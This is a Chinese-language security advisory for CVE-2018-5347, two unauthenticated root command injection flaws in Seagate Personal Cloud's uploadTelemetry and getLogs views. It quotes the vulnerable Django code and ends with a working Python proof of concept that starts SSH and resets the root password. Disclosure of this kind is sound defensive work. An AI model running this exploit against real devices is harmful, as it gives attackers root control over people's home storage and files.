SSD安全公告-希捷个人云存储设备多个漏洞

漏洞概要
以下安全公告描述两个未经身份验证的命令注入漏洞。
希捷个人云家庭媒体存储设备是“存储,整理,流式传输,共享所有音乐,电影,照片和重要文档的最简单的方式”。

漏洞提交者
一位独立的安全研究人员Yorick Koster向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
希捷在10月16日被告知该漏洞,虽然已确认收到漏洞信息,但拒绝回应(我们给出的)技术细节,也没有给出确定的修复时间或是协调报告。
CVE:CVE-2018-5347
漏洞详细信息
Seagate Media Server使用Django Web框架并映射到.psp扩展名。
任何以.psp结尾的URL都会使用FastCGI协议自动发送到Seagate Media Server应用程序。
/etc/lighttpd/conf.d/django-host.conf:

fastcgi.server += (
".psp"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   )),
".psp/"=>
   ((
      "socket" => "/var/run/manage_py-fastcgi.socket",
      "check-local" => "disable",
      "stream-post" => "enable",
      "allow-x-send-file" => "enable",
   ))
)

URL被映射到文件/usr/lib/django_host/seagate_media_server/urls.py中特定的views。
有两个views受到未经认证的命令注入漏洞的影响。
受影响的views是:

  • uploadTelemetry
  • getLogs

这些views从GET参数获取用户输入,并将这些未经验证/解析的参数传递给Python模块相应的函数。
这允许攻击者注入任意的系统命令,这些命令将以root权限执行。
/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def uploadTelemetry(request):
   ts = request.GET.get('TimeStamp','')
   if (checkDBSQLite()) :
      response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}'
   else :
      if ts == "":
         response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}'
         return HttpResponse(response);
      cmd = "/usr/local/bin/log_telemetry "+str(ts)
      commands.getoutput(cmd)
   return HttpResponse('{"stat":"ok"}')

/usr/lib/django_host/seagate_media_server/views.py:

@csrf_exempt
def getLogs (request):
   try:
      cmd_base='/usr/bin/log-extract-manager.sh'
      uID = request.GET.get ( 'arch_id', None )
      time_stamp = request.GET.get ( 'time_stamp', '' )
      if uID:
         (status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID);
         if ('In progress' in output) and (uID in output) :
            return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}')
         elif (status == 0) :
            return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % ( urllib.quote(output.encode('utf-8')), os.path.getsize(output) ))
         else :
            return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' )
      else:
         (status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp);
         if (status == 0) :
            return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output))
      return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )
   except :
      return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' )

请注意,这两个views都包含csrf_exempt decorator,它会禁用Django的默认开启的CSRF保护。 因此,这些问题可以通过跨站请求伪造来进行利用。
漏洞证明
下面的漏洞验证代码将尝试启用SSH服务,并更改root密码。 如果成功,则可以使用新密码通过SSH登录设备。

#!/usr/bin/env python
import os
import urllib
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
cmds = ['ngc --start sshd 2>&1',
      'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
for cmd in cmds:
   print 'Running command', repr(cmd)
   cmd = urllib.quote_plus(cmd)
   r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
   print r.read()
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)